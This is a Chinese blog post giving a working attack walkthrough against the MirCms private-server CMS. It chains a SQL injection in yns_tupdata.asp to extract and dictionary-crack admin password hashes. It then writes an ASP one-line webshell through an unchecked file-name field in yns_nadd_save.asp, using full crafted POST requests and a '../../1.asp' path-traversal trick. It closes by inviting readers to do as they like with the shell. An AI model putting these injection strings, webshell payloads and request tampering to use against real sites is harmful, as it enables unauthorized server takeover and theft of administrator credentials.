进一步取得MirCms传奇私服的WebShell

小狮子写了关于MirCms中投票子系统的漏洞,阅读以后觉得该系统既然存在像登录验证错误这样的漏洞就应该还存在其他的可以更进一步利用的漏洞。本文就利用该系统中的这些漏洞取得其WebShell。 

一、取得管理员账号和密码。 
网站根目录下的yns_tupdata.asp中存在SQL注入漏洞,我们利用其可以获取管理员的账号和密码,看下面的代码片断。 
If (Request.QueryString("t_id") <> "") Then  
rst__MMColParam = Request.QueryString("t_id") 
End If 
…… 
rst.Source = "SELECT * FROM t_type WHERE t_id = " + Replace(rst__MMColParam, "’", "’’") + "" 
变量t_id仅过滤了单引号就送到了SQL语句中,这样我们就可以使用 1 or 1=1的形式进行注入,打开NBSI输入注入地址http://xxx/yns_tupdata.asp?t_id=1 or 1=1,由于在网上就可以down到该系统的源代码,也就省去了我们猜表名和列名的过程,猜解以后我们就可以得到一些管理员的用户名和密码。 
由于密码是MD5加密的,而且后台还是Session验证,所以我们只能老老实实的去破解它的原始密码,至于破解MD5我们可以挂个常用密码的字典跑一遍,然后就看你的运气喽^_^这里我就得到了一个账号<如果云知道>的密码49ba59abbe56e057=〉123456,OK!就用这账号登录后台。(注:我们只需要得到level为1的账号就够用了,而且一般这种等级的账号密码比较简单^_^) 
二、进一步取得WebShell 
还是让我们先看一下yns_nadd_save.asp中的代码片断 
mm_path = server.MapPath((rst.Fields.Item("t_dir").Value)&"/"&(rsts.Fields.Item("ts_dir").Value)&"/" 
&request.Form("n_fpath")&"/"&request.Form("n_fname")) 
… 
Set fout = fso.CreateTextFile(mm_path) 
fout.WriteLine pencat 
fout.close 
程序从表单中取得n_fname后没有进行任何的扩展名检查就合成了mm_path变量,然后利用fso函数生成了以n_fname为文件名的文件,这样只要我们修改n_fname的值为 xxx.asp就可以很简单的在服务器上生成一个ASP木马,然后我们再看看这个文件的内容是怎么生成的, 
N_Title=Request.Form("n_title") 
… 
mm_template_path = server.MapPath("templates/type_template/type_son_template/detail_template.htm") 
… 
set fso_line = fso.opentextfile(mm_template_path,1,True)  
pencat=fso_line.readall 
end if 
pencat=replace(pencat,"t_title",n_title) 
从上面我们可以知道程序是将detail_template.htm中的内容读入,然后替换相关变量,最后得到生成文件的内容,这里我们就利用t_title这个替换变量来写入我们的ASP木马代码。我们来试一下,打开WinSock Expert在后台填加一篇文章,抓包内容如下: 
POST /yns_nadd_save.asp HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/ 
vnd.ms-powerpoint, application/msword, */* 
Referer: http://xxx/MirCMS_Add.asp 
Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) 
Host:xxx.net 
Content-Length:199 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF 

n_tid=52&n_tsid=56&n_sid=&n_title=test&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=20053151744366646.htm&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1 
这里我们将n_fname的值改成1.asp,然后将n_title的值改成我们常用的一句话木马,注意写入的ASP代码需要使用unicode编码以后的形式。<SCRIPT%20RUNAT=SERVER%20LANGUAGE= 
JAVASCRIPT>eval(Request.form(’#’)%2B’’)</SCRIPT>,最后不要忘了重新计算封包的大小更改Content-Length的值,这部分知识在研究动网上传漏洞的时候想必大家都已经研究明白了吧,下面就直接给出我的修改结果。 
POST /yns_nadd_save.asp HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/ 
vnd.ms-powerpoint, application/msword, */* 
Referer: http://xxx/MirCMS_Add.asp 
Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322) 
Host:xxx.net 
Content-Length: 261 
Connection: Keep-Alive 
Cache-Control: no-cache 
Cookie: ASPSESSIONIDSCQTAQQB=JLOPEBEBAFPEBBJAJCGHKBCF 

n_tid=52&n_tsid=56&n_sid=&n_title=<SCRIPT%20RUNAT=SERVER%20LANGUAGE=JAVASCRIPT>eval(Request.form(’#’)%2B’’)</SCRIPT>&n_author=%C8%E7%B9%FB%D4%C6%D6%AA%B5%C0&n_mpic=&n_rpic=&n_fname=1.asp&n_fpath=2005-6-6&n_date=2005-6-6+6%3A50%3A22&n_content=ttt&MM_insert=form1 
最后使用NC提交我们修改后的封包,到MirCMS_Html/xxx/年-月-日/下就可以找到我们的木马了,当然如果网站的管理员比较BT的话可能会设置MirCMS_Html目录下无法运行ASP文件,不过没有关系,我们只需把n_fname的值改成../../1.asp切换到根目录下就可以了,有了WebShell剩下的事情大家就可以看着办喽^_^
 <script language="javascript" src="http://js4.all4ad.net/mtunion/display.aspx?unionid=50624&htmlid=html/joyo/468x60_2.htm&val1=50624"></script>
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值